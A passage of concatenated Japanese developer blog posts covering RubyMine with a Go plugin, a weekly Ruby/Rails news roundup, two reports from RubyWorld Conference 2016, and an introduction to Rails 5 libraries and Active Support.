Rubyの場合メタプログラミングが強力すぎて、一発で正確なライブラリを開けるとは限らないのですが、これはRubyMineのせいではありませんね。
Railsでコマンド+Bするとときどき中身が空のスタブメソッドにたどり着くことがありますが、型が確定していないときだと予測が外れることがあるので、YARD記法に則って書くことで型が確定して正確にジャンプできるようになります。

迷ったら即Shiftキー2連打

RubyMineは、迷ったときはShiftキーを2連打すれば、メソッドでもクラスでもヘルプでも設定でもまとめてインクリメンタル検索して実行できます。いきなり使いこなそうとすると苦痛なので、当面Shiftキー2連発でどうにかするぐらいのつもりで始めるのがよいでしょう。

161101_1705_xryqk3

しかも設定画面ではありとあらゆる設定項目をインクリメンタルにフィルタできるので、迷うことはありません。

161101_1708_2nbpzr

機能の名前を覚えるのがポイント

Shiftキー2連打で欲しい機能を探すには、機能の名前を覚えておく必要があります。機能は山ほどあるので、印刷して横に置いて少しずつ覚えるぐらいがよいでしょう。

RubyMineでGo言語やElixirを!

プラグインでできちゃうんです

ここからが本題です。JetBrains製品のプラグインは、多くの製品でそのまま使えます。そしてその中にはGo言語やElixirのプラグインもしっかりあるのです。

RubyMineの強力な全自動インデックス化機能は、Go言語やElixirでもそのまま使えるのです。もちろんRubyとGoが混じったりなんかしません。きちんと別腹になります。

Go言語は最近やっとベンダリング(vendoring)機能が少し使えるようになったので、$GOPATHのパッケージの他に、プロジェクトローカルのvendorディレクトリにもパッケージを置くことができます。RubyMineのGoプラグインは、どちらもしっかりインデックス化し、vendorにパッケージがあればそっちにジャンプしてくれます。

頼みもしないのにここまでやってくれるとは…キャラメルでもいかが?

IntelliJ + Goプラグインに打ちのめされる

私も最初はGo言語をSublimeで書いてましたが、JetBrainsのIntelliJ無料版にGoプラグインをインストールしてみたところ、RubyMineと同じ全自動インデックスがシャッキリポンと使えて感激したのでした。

しかしここでひとつ困ったことがありました。

行きがかり上、私のプロジェクトにはElectronとJavaScriptのコードが居候しています。ところがIntelliJの無料版では絶妙にJavaScriptをシンタックスハイライトしてくれないのです。うろおぼえですが、たしかインデックス化もJavaScriptではスルーされました。

これはJetBrainsの販売戦略であり、IntelliJでJavaScriptをシンタックスハイライトしたかったら有料版にする必要があります。

んーまたひとつIDEを増やすのか。ただでさえでかいのに。

RubyMineでやればIDEを増やさなくてよい

そう思ってふとRubyMineにGoプラグインをインストールしてみたのです。これが大成功でした。

161101_1714_7uad9v

  • RubyMineだけ買えば済む
  • 有償版なのでJavaScriptの制限がない
  • RubyMineの機能がそっくりそのまま使える
  • キーバインドをあっちのIDEやこっちのIDEで設定して回らなくて済む
  • RailsやGo言語のインデックス情報が混じったりしない
  • プロジェクトタブにGopherくんのアイコンが小さいながらもしっかり表示される

161101_1715_qgo9rl

少々設定をカスタマイズするだけで、保存時やGitコミット時などにgo fmtなどを自動で走らせることも簡単にできます(参考記事)。参考記事ではFile Watchersプラグインを使ってますが、他の方法でも可能です。

161101_1734_oibait

go testgo buildなどもRubyMineの[Run]のインターフェイスで統一的に設定できます。

161101_1724_wfgdvr

☆4000近くは伊達ではありませんね。

まとめ

RubyMineの言語追加プラグインは本当に便利です。プラグインによっては対応しなかったり出来が落ちることがあったりするのかもしれませんが、今のところ不自由していません。

添え物的で恐縮ですが、Elixirプラグインもさっと試した限りでは快調です。

IDEやエディタは好みで選ぶものであって強要するものではありませんが、RubyMineを既に使っているのであればぜひGoプラグインもどうぞ。

関連記事

Ruby/Rails界隈ウォッチ(2016/11/02)HTML 5.1正式勧告、CSS中央揃えに便利なサイトほか

$
0
0

こんにちは、hachi8833です。実はようやくTechRachoのWordPress記事をMarkdownで書けるようになって、うれしくてたまりませんです。

11月最初の界隈ウォッチです。明日はどっちだ。

臨時ニュース

ここで臨時ニュースです。

11/1付でHTML 5.1が正式に「勧告(Recommendation)」になりました。詳しくはリンク先か、勧告前の参考記事をどうぞ。

変更点についてはChangeLogを見ていただくとして、ざっと目についたものを。

requestAnimationFrame

161102_1623_lmnfl6

History.scrollRestoration

161102_1628_kqnag9

臨時ニュース2

引き続き臨時ニュースです。クラウド開発環境で知られているhttps://www.nitrous.io/の閉鎖が決まったそうです。

161102_1638_v7niaj

Googleトレンドが無情にCloud9との明暗を示しています。

Ruby Facets

ruby_facets

CDNミラー化でRubyGems.orgが倍速に

タイトル通りです。

161102_1630_lpgcfq

RubyFlow

160928_1638_XvIP4h

Rubyのdecoratorパターン

先週のRuby/Rails界隈ウォッチでもdecoratorパターンの記事をいくつか取り上げましたが、流行ってるんでしょうか。

この記事では、シンプルで使いやすいという理由でSimpleDelegagorというRubyの標準ライブラリを推しています。SimpleDelegatorのドキュメントだけではなく、親クラスであるDelegateクラスのドキュメントも読むことをすすめています。どちらも短いのですぐ読めそうです。

Rubyには他にもforwardable.rbやdelegate.rbといったライブラリがあります。

161102_1632_el4vsx

morimorihogeさんも指摘するように、デザインパターンとしてのdecoratorと、RailsのView presenterを指すときのdecoratorは同じではないので、今更ながら注意が必要ですね。後者は文字通り「デコレーションする」に寄った意味と考える方がよさそうです。正直、私もこのあたりで迷っておりました。

参考: Rubyの委譲標準ライブラリのまとめ

RubyプロジェクトのCIとデプロイをBitbucket Pipelinesで

これについては既にAtlassianの日本語公式サイトが立ち上がっているのでそっちを見るのが早いですね。

161102_1635_quzrmu

rowフラグメンテーションでデータベースロックのパフォーマンスを向上させる

データベースチューニングの記事です。割と込み入ってます。


Row Fragmentation: Share the Mutexより

ダメなテストを書く5つの方法

良記事。著者はMiniTestで説明していますが、RSpecにも通じる内容だとのことです。

  • 運が悪いとランダムなファクトリが重複してuniquenessが損なわれる
  • Orderを指定しないデータベースレコード
  • グローバルな環境を汚して次回のテスト結果に影響してしまう
  • 時間的な再現性のないテスト
  • requireしすぎて他のテストに影響してしまったり、順序で結果が違ったりする

161102_1655_sdaolb

Web Push APIをVAPIDとRubyで

Wevサーバーからクライアントに通知をプッシュする技術のひとつであるWeb Pushで、Pushサーバーの認証に使われるのがVAPID(Voluntary Application Server Identification for Web Push)ということのようです。VAPIDの利用は現在必須ではありませんが、今後は必須化が進むかもしれません。

161102_1657_e2ms3e

Rubyで自然な英文を自動生成する

正確にはJRubyとSimpleNLGも使っています。英語でも日本語でもこの種のお遊び研究は昔からありますね。

Ruby Weekly

160928_1641_BubfCD

HexaPDF: PDFの作成と操作

161102_1709_1vzggj

PDFマニピュレーションができるのはかなり有望かもしれません。GitHub TrendingのRuby部門でいきなりトップに躍り出ていました。

RubyでのPDF生成というとPrawnなどいくつかありますが、GitHubのREADMEによると「HexaPDFはまだPrawnほど機能は多くないが、PDF標準に沿っているのでずっと拡張しやすい」だそうです。

PDFレポート生成と言えば以前morimorihogeさんが日本製のThinReportsを推していたのを思い出しました。この種のソフトは英語圏ではよくても日本語を通そうとした途端に詰まることがよくあるので、日本語での実績があるソフトウェアはその意味で安心度が高い気がします。

RedisMonitor

RedisMonitorは、Redisのメモリ使用状況をビジュアル表示してくれるパフォーマンスモニタです。お役立ち度高そうです。
無料とありますが、他のところでどうやって費用を回収しているのか気になるところです。

AWS LambdaとSlackでSidekiqを監視

バックグラウンド処理でよく使われるSidekiqの監視をAWS LambdaとSlackでやってみたという記事です。

Hacker News

160928_1654_q6srdR

人間優先のプログラミング言語: Eve

言語とIDEで、ビジュアルプログラミングとも違う環境を作ろうとしている感じなのでしょうか。Hacker NewsでMacbook記事を押さえて圧勝しています。

JSONのパースは地雷だらけ

JSONの仕様をがっつり読み込んでますね。これよさそう。

161102_1738_4wlpof

GoogleのAIが暗号アルゴリズムを考案

生成された暗号アルゴリズムの原理がどうなっているのか皆目わからないそうです。

そういえば最近自分の子ども用に買ったスパイ学とか何とかいう絵本に「古代中国では暗号がほとんど発達しなかった」みたいな記述を見つけたのですが、信じていいのかなそれ。

そもそも漢字だけの文章は、アルファベット圏の人どころか日本人にとってすら、文章のどの部分が暗号っぽいのかを見分けるだけでめちゃくちゃ骨が折れそうな気がします。実はちょっと縦読みならぬ横読みするだけでも隠しメッセージがざくざく出てきたりするんじゃないかしら。

Github Trending

160928_1701_Q9dJIU

LinuxBrew

MacでおなじみHomeBrewのLinux版です。Rubyで書かれてます。HomeBrewがroot権限なしでもパッケージを導入できるのが羨ましかったのかな?

161102_1743_geskba

cuttlefish

Cuttlefishは「甲イカ」のことですが、こちらはれっきとしたメールサーバーソフトです。内部ではPostfix使ってるそうです。
GUIがかわいくてピチピチしてて、メールサーバーとはなかなか思えないほどです。

メールサーバーとかapacheとか、この手のソフトは無骨かつ無愛想でなければ本物とは呼びたくないという先入観が私にもあったのかも。

161102_1744_6ogxtx

無印枠

golanglibs.com

Go言語の伸びざかりなパッケージをチェックできます。Github trendingとまた違うランキングですね。しかも頻繁に変動してます。

CSON

カンマが不要でコメントもできるポストJSON(元)候補。ニュースと言うほど新しくないですね。失礼しました。

JSONはケツカンマと融通の効かなさが残念な点で、私もSublime Textの設定ファイルをいじるたびにいらいらしていました。JSONを追う者としては他にJSON5もありますが、カンマなんてそもそもいらないっしょと思ってしまう私はCSONの方に思い入れてしまいます。

しかしながらGoogle Trendsではグラフが下でぺしゃんこになっててどう見ても惨敗です。無念です。たぶんCoffeeScriptという名前が悪かったんです。ECMAあたりをもじってESONにしときゃよかったんです。もう遅いんです。

howtocenterincss.com

161102_1750_eqonrj

Hacker Newsにあがってたそうですが、yamasita情報なので無印枠にエントリーしました。名前のとおり、ボタンをポチポチするだけで中央揃えするCSSを生成してくれます。

ウケ狙いと思いきや、かなり実用的な内容。

どう思われますか。いかに多くのフロントエンド開発者がCSSの中央揃えで泣かされているかよくわかります。CSSはカスケードや継承が災いして途方もなく複雑な代物になってしまいました。

GoogleがSPDYをこっそりChromeに忍ばせて実地テストを重ね、いつの間にかHTTP/2を成立させてしまったみたいに、Flexboxを中心に次世代スタイルシートを1から作り直してまたこっそりChromeに忍ばせてしまえばいいと思います。

joshbuchea/HEAD

HTMLの<head>に書けるタグがずらりとリストアップされています。

☆17,000超えです。どう思われますか。いかに多くの開発者がHTMLの<head>で泣かされているかよくわかります。下手をすると本文よりヘッダーの方がはるかに饒舌で、本末転倒感を感じさせます。

日本語版もあるそうですが、訳すところほとんどないと思います。

今週は以上です。

おまけ

ニュースではありませんが、BPS Webチーム部長のmorimorihogeさんが松江から送ってきた写真です。

rubyworldconference

いよいよ明日からRuby World Conferenceですね。Enjoy!


RubyWorld Conference2016 初日レポート

$
0
0

morimorihogeです。最近やることが多すぎて記事が書けていませんでしたが、なんとか今年もRubyWorld Conferenceに参加できました。

RubyWorld ConferenceはRubyKaigiに比べるとビジネスやコミュニティ寄りな内容になっており、非エンジニアな人(経営者や官公庁など)も参加されるのが特徴でしょうか。おカタめな企業も発表に参加しているので、趣味でプログラミング大好き!という人以外のビジネスで使ってる・使いたいといった人も多く参加しています。
プログラムは公式サイトをご参照下さい

また、一部の講演を除き公式で会場ライブ中継もしていますので、参加できない人も観ることができます。良い世の中になったものですね :)

そんなわけで、発表そのものはアーカイブや中継を観て頂くとして、初日に僕が個人的にいいなあと感じたものをざっくりレポートしてみたいと思います。
前半は会場とかの話で、内容に関しては後半です。写真に興味のない方はサクッと読み飛ばして下さい。

会場・会議よろず

もはやおなじみとなった松江のくにびきメッセです。松江駅から歩いてもいける程度にほど近く、広さはそれなりといった所でしょうか。

松江駅からくにびきメッセ方面に歩いて行くと、Rubyカラーなのぼりが見えてきます。奥の方に見えるのがくにびきメッセです。

RubyWorld Conferenceのぼり

本会議場はこんな感じで、シングルセッションなので全てのセッションを聴くことができます。電源はありませんが、席数は足りているようでした。

img_5410

ささやかながら、弊社(BPS)もスポンサーに登録させて頂いています

img_5425

スポンサー特典として、今年はTechRachoの宣伝チラシを置かせて頂きました。

img_5415

今年も毎年恒例なRuby和菓子を頂くことができました(写真は2種類のうちの一つ)。

img_5416

お弁当もきれいで豪華です。ごはんがおいしいConferenceは良いですね :)

img_5413

初日の講演で印象に残った話

以下、初日の講演で特に刺さった講演の感想です。色々書きたいことは沢山あるのですが、全部は書き切れないので抜粋です。

Matz基調講演: Rubyが可能にしてきたこと

いつものMatz(まつもとゆきひろさん)講演です。
今年は過労死やアルファ・シンドロームの話に繋げて「そもそも人が便利になるためにコンピュータを使ってきたが、最近は人がコンピュータ様のために奉仕するようなことになってるのでは」といった話をされていました。

続けてRubyが何を目指して来たのかという話の中で、いわゆるプログラマ三大美徳の中でもLazinessの話を強く話されていました。
Ruby人口が増えてエンタープライズや組み込み、科学技術計算などに版図を広げる中で、型が欲しい!といった声は多く聞こえます(僕も欲しくなるときがあります)が、そもそも今のダックタイピングな設計思想になったのはなぜかといった部分も忘れないで欲しいな、という気持ちがあるのかもしれません。

僕としてはこれからもRubyは怠惰で短気で傲慢なプログラマの良いツールとしてあり続けて欲しいなと思うので、こういった話は心が元気になりますね。

組込みハードウェアへのmrubyアプリケーション適用試行

こちらも一部でおなじみみよひで(@miyohide)さんごろねこ(@GORO_Neko)さんの発表です。

日本OSS推進フォーラムの活動の中でmrubyを扱ってきたが、この1年はmrubyでアプリケーションを作って知見を詰もう、といった活動をしてきた成果として、ランニング用リアルタイム位置情報発信アプリ(長い)を発表されていました。

組み込みとは言ってもRaspberry pi + LinuxにUSBのセンサ・GPSモジュールを付けての実装なのでそこまで難航はしないんじゃないかな?と僕は勝手に思っていたのですが、CRubyの実装では問題がなくてもmrubyに移植する段階で色々と問題が出たよという話(環境変数が取れないとか、mrubygems周り)でした。
データの送信先にAzure IoTなサービスを使われていた様ですが、そうするとHTTP(S?)な通信ライブラリもいるし、タイムスタンプの処理に日付フォーマットも使うし・・・と、一見単純に見えるアプリケーションでも実際に実装しようとするとmrubyの場合mrubygemsを組み合わせてこなければならず、その辺のノウハウは試行錯誤しつつ蓄積していかないといけない印象を感じました。

なお、軽量rubyフォーラムmruby 1.2.0アナウンスページには、Mac/Win/Ubuntu各環境でのmrubygemsの動作検証リストがあるよと紹介されていました。こちらはこれからアプリケーションを作ってみようというmrubistには非常に有用そうですね。

ここから先は僕の捕捉ですが、Linuxなんてないよ!というもっとリソースのない環境ではmruby/cというものがあり、これはArduinoで動作させてみたという話もあるようです(参考: mruby/cをつかってArduino MicroでLチカしてみた

Scientific Computing in Ruby & Ruby における機械学習のための環境整備の取り組み

二つともRubyで科学技術計算(統計解析や機械学習などを含む)をするぜというSciRuby関連の発表でしたが、濃い内容の発表でした。
※僕はこの分野は専門分野じゃないので以下の内容はうまく読み取れてない部分もあると思いますがご了承下さい

前者はSameer Deshmukhさんの発表で、Rubyで科学技術計算をするライブラリや基本的な使い方の話で、at a glance的に一通りsurveyしつつ紹介してくれる感じでした。Ruby Prize 2015で西田さんが受賞されたNyaplotも紹介されていました。
僕としてはこの発表を聴いた段階では「おお、RubyもこういうRやPythonでやってきたような領域に使える様になってきたんだな」と思ってました。

がしかし

それに続く村田(@mrkn)さんの発表は「Rubyの機械学習・科学技術計算周辺のサポートはPythonに比べると少なくとも11年は遅れている。このままではRubyはPythonに置いて行かれる、まずい」という話でかなり鬼気迫る内容でした。
発表スライドは既にSpeakerDeckにアップロードされているので、興味のあるかたはそちらも見て頂くと良いと思いますが、とにかく時間がない、やばい、という印象でした。

確かにDeep Learningや機械学習分野は今が華で投資も活発なタイミングなので、今このタイミングで乗り遅れてしまうと「これまではWebアプリ作るのはRailsが簡単だったけど、データサイエンス分野と密に結合したWebサービス作るのであればPythonがそのまま使えるDjangoに切り替えていこうか」という流れはあり得るのではないかと思わされました(もちろん全部が移行することはないでしょうが、選択肢として有力になっていきそう)。

@mrknさんによる解決作としては、11年遅れた流れをリソース投入して慌てて追いかけるのではなく、既にあるPythonやJuliaの資産を使える様にするライブラリを作るという方向性で、既に動いているということでした。まさに「巨人の肩に乗る」戦略。
恐らくRubyらしさは多少犠牲になってしまうと思うのですが、その分Python等の他言語のライブラリでの実装に慣れている層からの流入も期待できると思うので、僕はこのやり方が好みです。

小さな町で子供向けのプログラミング講座をはじめてみて

最後にRubyWorld Conferenceらしい発表として、廣田さんの発表を紹介です。

お子さんにプログラミングを教えたい!という所から、どうせなら地域の他の子供たちも集めてやってみようかという流れでプログラミングを教えようと思い立った所からスタートし「ではどうやればいいのか?」で試行錯誤した内容がすごくためになる発表でした。

静岡県の牧之原市という都心部に比べれば人口の少ないところで、場所の確保や人集めについて役所に相談に行ったり、講座で教える前にまず自分の子供に教えてみて子供にとって刺さる内容はどういうものなのかを追求していく姿勢は「こういう人にプログラミングを教えてもらったらすごく良い経験になるだろうな」と思わせてくれました。

こういうのもRubyが人を幸せにする一つの方向性として、すごくいいですよね。心が元気になる発表でした。

まとめ

そんなわけで今年も良いconferenceです。これを書いているのが二日目の朝8時なので、もう少ししたら二日目が始まります。
二日目も終わったらまたレポートを書こうと思います。

※会議参加者の方で「ここ間違ってるよ!」というところがありましたらTwitterにて@morimorihoge宛に教えて頂けると助かります

RubyWorld Conference2016 二日目&まとめレポート

$
0
0

※初日レポートはRubyWorld Conference2016 初日レポートをご参照下さい

morimorihogeです。
というわけで、二日目のレポートです。会場や雰囲気については初日レポートの方に記載してありますので、そちらをご参照下さい。

前回と同じく、発表のチョイスは僕の独断と偏見です。

Social Coding

基調講演として、GitHub.Inc から堀江さん(@dice)とEdward Thomsonさん。事例紹介として日本経済新聞社から梅崎さん(@bungoume)のお話でした。
特にEdwardさんの話が面白く、Microsoftにどのようにしてオープンソースな文化(社内でオープンソースにすることをInner Sourceと呼んでいました)が浸透していったかの話は興味深かったです。
この辺のまとめは既にid:soplanaさんがruby world conference 2016 2日目のSocial Codingに関する話のメモという記事でまとめてくれているので、そちらが詳しいです。
「最近のMSはきれいなジャイアンみたいだ」といった意見が一部であるとかないとかありますが、そうした舞台裏を垣間見られた発表でした。

梅崎さんの発表は日経新聞社で外注主体だった自社のメディアを内製していった&している最中の話で、古くて大きな会社でも内製化できるんだぜ、といった話として良い事例だと思いました。
外注や外部開発部隊との協力開発でも、外部が開発したものを社員でレビューする流れで進め、いわゆるWork in Progressパターンにより開発を進められているとのことでした(参考: Work in ProgressパターンによるPull Requestを利用した開発フロー)。

僕はかれこれ10年以上Web関連の受託開発に携わっていますが、数年前にRailsに利用技術を切り替えてからは特に Railsは内製開発と最も相性が良い と思うようになって久しいです。
そのうち記事を書こうと思うのですが、開発速度が必要な部分は全外注でやってしまうとどうしても契約なり手続き上のコストがかかってしまい、思った速度が出ないのが良くある話として見受けられます。

顧客との直接の入り口周りやフレキシブルな方向転換が必要になるような事業では、自社でリスクを取って一部でも内製化する(または開発の舵取りを自社で持つ)ことが一つの成功要因になっているのではないでしょうか。

・・・と言ってしまうと僕らの様な受託開発屋の仕事が無くなるように思いますが、基幹系システムとのデータ連係や技術的に難しい所のある大量のデータ捌きなど、内製化よりはシステム開発経験豊富な外注先に任せた方がうまくいきそうな部分も引き続き残ると思います。早さよりも正確性や保守性が要求される分野はありますし。

以下、会場で頂いたoctocatのMonalisaちゃん(由来はこの辺からどうぞ: GitHubのキャラクターの足がタコなのは「サンゴ」を食べたからだった! 正式名称は「Octocat」ではなく「Monalisa」
screenshot-2016-11-07-17-20-08

Rubyによるアジャイルとデブオプスを実現するチームづくり——みんなのウェディングの経験から

高井さんによる、クックパッドからみんなのウェディングに出向して色々な開発環境にまつわるあれこれを開拓していったといった話でした。

みんなのウェディングの開発当初は2007年で、まだGitはあれどGithubはなかった時代です。そうした時代やDeNAからスピンアウトしたみんなのウェディングの背景諸々含めた選択肢としては、当時はMobaSifや実績のあったSubversionの利用など、それほど悪い選択肢ではなかったのだと思います(多分その頃はソシャゲ界隈がイケイケだったし、とにかく速度とチャレンジの数重視!みたいな風土もあったのでは)。

ただ、事業として成功してユーザが集まり、継続的改善を要求されるようになってくると「触るのが恐い」という状態が負の遺産となって足を引っ張ってくるというのは他の業界でもあるあるだと思います。

このあたりのスピード感と継続的改善のための足場固めのバランス感覚というのは難しい所で、最初からスーパーなエンジニアリングチームを揃えられるなら、最初から持続的改善を詰める仕組みや自動化を構築して進められるのですが、予算や人材諸々の都合でリソースは常に有限です。
足場固めや技術的負債の返済というのは大事ですが、足場を固めてるうちに乗っかっている事業ごと水没してしまっては元も子も無いので、事業のステージやリソース状況、チームの構成に応じてその時その時の最適解というのを見つけていかないといけないんじゃないかなあと思いました。

ゼロから稼げるエンジニアになる3つのステップ

株式会社Dive into Code代表の野呂さんによる発表でした。
今流行の社会人向けプログラミングスクールをやられていて、未経験者向けにきちんと構造を理解してもらう(腹落ちさせる)教え方に力を入れているのが特徴的で、良いなあと思わされました。

弊社でも新人向けを含めてWeb開発者向けの勉強会的な講座を実施しているのですが、この「腹落ちさせる」という言葉にはしっくりくるものがありました。
職業開発者をやっていると「AをするにはBをすれば良い」という辞書的な情報ってググれば見つかるし、その場の目的は達せられるのでついそのまま先に進んでしまいがちなのですが、これだと問題の数だけの辞書を用意するなり引く必要があって、かなり非効率的なんですよね。
「内部構造や設計がこうなっているからAをするにはBをすれば良い」まできっちり腹落ちした上で技術を使っていると、辞書的な問題解決だけでなく「BができるからCもできるはずだろう」といった新しい選択肢や解を思いつくことにも繋がるので、ぜひ新しくエンジニアを目指す方には全体の動きを腹落ちした上で技術を使う様にしてもらえるといいなあ、と思います。

ちなみに、Dive into CodeさんはRails開発の講座テキストをDIVERというサイトで公開されているので、学生や転職を検討していてRailsで本気でサービスを作ってみたい!という方は見てみると良いのではないかと思います。

以下、公式サイトから転載です。
screenshot-2016-11-07-17-26-30

Bring Ruby into Campus

最後の発表は台湾5xRubyの高見龍(@eddiekao)さんによる台湾の大学教育にRubyを普及させに行くという話でした。
台湾ではRubyの求人がとても少ないらしく(PHP/Javaの1/20くらい)、それもあってか学生の人気も低いという中で、台湾でのRubyイベントを主催したり大学での授業を実施したりと精力的な活動をされていました。

日本においてWeb開発の分野にRubyが素早く浸透していったのは、Railsが一部のアーリーアダプターにウケたことでRailsを使ったスタートアップが割合早い段階で出始めたことや、Ruby自体が日本で生まれたことから 日本語の正確な情報 が豊富であったこと、ちょうどRailsが成長しているタイミングでクックパッドの様な有名大規模Railsサービスが世の中に知られるようになったことなど色々な要因があると思います。
日本は今の所ある程度大きな市場規模があるため、国内の技術動向を見ていれば直近数年飯が食える程度には技術を選んでいけますが、市場規模が小さい国では自分で事業を興すのでもない限り、あまり好き勝手に技術を選ぶのはリスクになるところはありそうです(自分で事業を興すにしても、エンジニアの補充面でリスクを負う)。

このあたりは「顔を見て仕事をしたい」という人が多い日本ではむしろ日本人有利かな、と思いますが、世界的にはリモートワークな方向に向かっている風潮もあるので、日本人としてどこまで日本domesticな経済に身を委ねていて大丈夫なのかというのは気にしておく必要がありそうです。

Ruby Prize (一日目の発表)

初日のレポートで書きそびれてしまいましたが、今年のRuby Prizeは山口一生さん(@rhe__)でした。
ruby/opensslのGem化をはじめ、対応する人がいなかったRubyのOpenSSL対応周りの放置チケットのクローズや最新OpenSSLへの追随などを行われたとのことで、今日のRubistは足を向けて眠れない程にお世話になっているのではないでしょうか。

※約23,000行のレガシコードを整理したり、Heartbleed後にOpenSSLの30万/70万行のコードが更新されたことに対する対応など、さらっとお話されてましたが尋常じゃないと思いました(汗

こうした「誰もが動いて当たり前だと思って使っている」ライブラリに対する貢献というのはこういった機会がないと表に出てきづらいので、RubyPrizeというのはRubyコミュニティとして良い仕組みだなあと思いました。

まとめ

そんなわけで一通り記憶に残った発表レポートでした。
最終的な会議の入場者数は初日481人、二日目367人、述べ848人とのことです。毎年少しずつ人数は増えていますね。

screenshot-2016-11-07-17-13-10

技術情報だけ集めたいという人にはあまり向かないカンファレンスかもしれませんが、Rubyコミュニティの輪や前向きな流れに触れることができるので、来年も何かしら都合をつけて参加したいと思います。
毎年運営されている開催実行委員会、開催協力されている島根県・松江市の皆さまありがとうございました。また来年もよろしくお願いします :)

関連記事

[Rails5] Railsの主要なライブラリ構成

$
0
0

こんにちは、hachi8833です。今回はRails 5の主要なライブラリ構成について書いてみたいと思います。

Railsの主要なライブラリ構成

  • 対象バージョン: 特記しない限りRails 5とします。

Railsは多数のライブラリから構成されている

Ruby on Railsは、Active RecordAction ViewAction Controllerといったさまざまな巨大ライブラリが多数組み合わさってできています。

主なライブラリ 主な機能
Active Record データベースのモデル、モデル内データへのアクセス、モデル間のリレーション、バリデーションなど
Active Model データベースを使わないモデルの作成など
Action View ビューでのERB出力(レンダリング)など
Action Controller ルーティングをコントローラに渡す、コントローラとモデルやビューを結びつけるなど
Action Mailer オプションのメール送受信
Active Job ジョブ管理、他のジョブフレームワークとの仲介
Active Support 「コア拡張機能」を中心とする文字列や日付時刻などの膨大なメソッド集

なお、Action PackはRails 2まではAction ControllerとAction Viewを含んでいましたが、現在Action ViewはAction Packから分離されました。ルーティングなどを担当するAction DispatchもAction Packに含まれます。

Railsを実行するとこれらのライブラリが自動で読み込まれるので、普段は読み込みについて特に意識することはないと思います。

そうしたライブラリの多くは実はRails専用というわけではなく、Rails以外のRubyプログラムで使っても構いません。実際、これらのライブラリの一部はSinatraなど他のRubyフレームワークでもよく使われています。

Railsではライブラリをgemとして持つ

Railsでは、多くの機能をライブラリとして持っています。

そしてライブラリはRubyのgemという形式で扱い、bundlerで統一して管理されます。

  • Railsの歴史では、当初は本体の機能だったものが後にgem化されることがよくあります。たとえば最近では、Active SupportのEnumerable#sumがRuby標準ライブラリに移行しました
  • また、特定の機能を非推奨(deprecated)にする場合も、いったんgem化してリリースし、次のバージョンでgemを外す、といった方法で行うことがよくあるようです。

追記: 「プラグイン」という呼び方

少々ややこしいのですが、Railsを拡張するライブラリは正式にはプラグインと呼ばれます。

ここ数年の記事では、Railsを拡張するライブラリは単にライブラリまたはgemと呼ばれることが多く、「プラグイン」という呼び方はあまりされていないようです。

体験したことはありませんが、Rails 1や2の時代は、プラグインをgemまたは「pluginスクリプト」としてインストールしていたそうです。現在のRailsではプラグインをgemのみを使うインストールに統一されています。

今後

Rails 5の主要ライブラリのうち、Active Supportについて順次探訪してみようと思います。ご期待ください。

参考

[Rails5] Active Supportの概要をつかむ

$
0
0

こんにちは、hachi8833です。

今回は、Rails 5の広大なActive Support世界のおおまかな地図を知るための記事です。[Rails5] Railsの主要なライブラリ構成を先にご覧ください。

以下、特記ない限りRails 5を対象とします。

Active Supportとは

Active Supportの位置づけ

Active Supportは、数値や日付や文字列などさまざまなライブラリの集まりです。Railsの広い範囲で共有されている重要なものもあれば、ちょっとした便利メソッド的なものもあります。こうした区分はよくmisc(miscellaneous)と名付けられますが、Railsではおそらく命名統一のためにあえて「Active Support」と呼んでいるのでしょう。

その中でCore Extensions(コア拡張機能)と呼ばれるものの多くは、Railsで使うためにRubyの標準ライブラリに含まれるクラスを拡張しています。

その他に、Active Recordほど大きくないもの、たとえば国際化(i18n)のライブラリもActive Supportに置かれています。

Active SupportはRails開発者が直接呼び出すこともあれば、Railsの他のライブラリで使われることもあります。

また、Rails以外のソフトウェアでも使いたくなるようなメソッドも多数見当たります。そのためか、最近Active SupportのメソッドがRubyの標準ライブラリに昇格する例をちょくちょく見かけます(参考: Enumerable#sum)。

Rails以外でActive Supportを使う

実際、たまにRailsを離れて純粋なRubyプログラムやpryを触っていると、欲しいメソッドがActive Supportにしかないことに気付いてrequire 'active_support/core_ext/object/blank'などと追加することがよくあります。

そこそこ大きなRubyプログラムを書くなら、使いもしないライブラリは読み込まないようにしましょう。require 'active_support/core_ext/object/blank'のように個別に指定すれば、Active Supportの他のライブラリは読み込まれません。

逆に、pryでちょっと使う程度なら特定のActive Supportをちまちま指定するより全部まとめてrequireする方が楽です。

Active Supportの機能の中にはauto_loadされるものも多いので、/allを指定してもその場でメモリにすべて読み込まれるのではなく、多くは使うときにはじめて読み込まれます。パフォーマンスチューニング中でもなければメモリを気にすることはそれほどないかもしれません。

ただし、Active Supportをすべてrequireする場合は、以下のように/allを付ける必要があります。

require 'active_support/all' # OK

つい忘れがちですが、以下のように指定しても何も読み込まれません。

require 'active_support' # NG

Active Supportの構成

Rails APIサイト現時点のActive Supportの全ファイルを表示してみると、ファイルだけでかなりの数にのぼります。

とにかく広大かつ膨大です。これをいきなり把握するのは大変なので、全体像をつかむ手がかりを見つけましょう。Active Supportを大きく分けると、コア拡張機能とそれ以外のライブラリがあります。

分類 説明
コア拡張機能 Rubyの機能をRails用に拡張する(Railsでは必須)
それ以外 上におさまらないもの(必須なものもある)

Active Supportの構成を少し詳しく見てみると、そんなにきれいに分かれているとも限らないような印象を受けます。上の区分はあくまで目安としてご理解ください。

1. コア機能拡張

それでは、コア拡張機能の機能をもう少し分類してみましょう。

分類
全オブジェクトで使えるもの json.rb、try.rbなど
モジュールやクラスの拡張用 module/aliasing.rb、class/attribute.rbなど
数値関連 integer/inflections.rb、big_decimal/conversions.rbなど
文字列関連 string/inquiry.rb、string/multibyte.rb
列挙/ハッシュ/配列関連 enumerable.rb、hash/indifferent_access.rb、array/access.rbなど
日付・時刻関連 date_and_time/zones.rb、time/calculations.rbなど
その他 正規表現、ファイル、マーシャル、NameError/LoadError

こうやって分類することで、だいぶ見通しがよくなりました。規模が小さいものはひとまず「その他」に押し込めてみました。

2. それ以外

続いてコア拡張以外のライブラリを見てみましょう。実はこちらの方がはるかにファイルがたくさんあります。

分類
キャッシュ cache/mem_cache_store.rb、cache/strategy/local_cache_middleware.rbなど
並列・並行処理(concurrency) concurrency/share_lock.rbなど
依存関係(dependencies) dependencies/autoload.rbなど
非推奨(deprecated)ライブラリ処理 deprecation/behaviors.rbなど
期間(duration) duration.rbなど
英単語の活用(inflection) inflector/inflections.rbなど
JSON json/decoding.rbなど
ログ log_subscriber.rb、logger_thread_safe_level.rbなど
暗号化・署名 message_encryptor.rb、message_verifier.rbなど
マルチバイト multibyte/unicode.rbなど
通知・監視 notifications/instrumenter.rbなど
数値変換 number_helper/number_to_currency_converter.rb、number_helper/number_to_phone_converter.rbなど
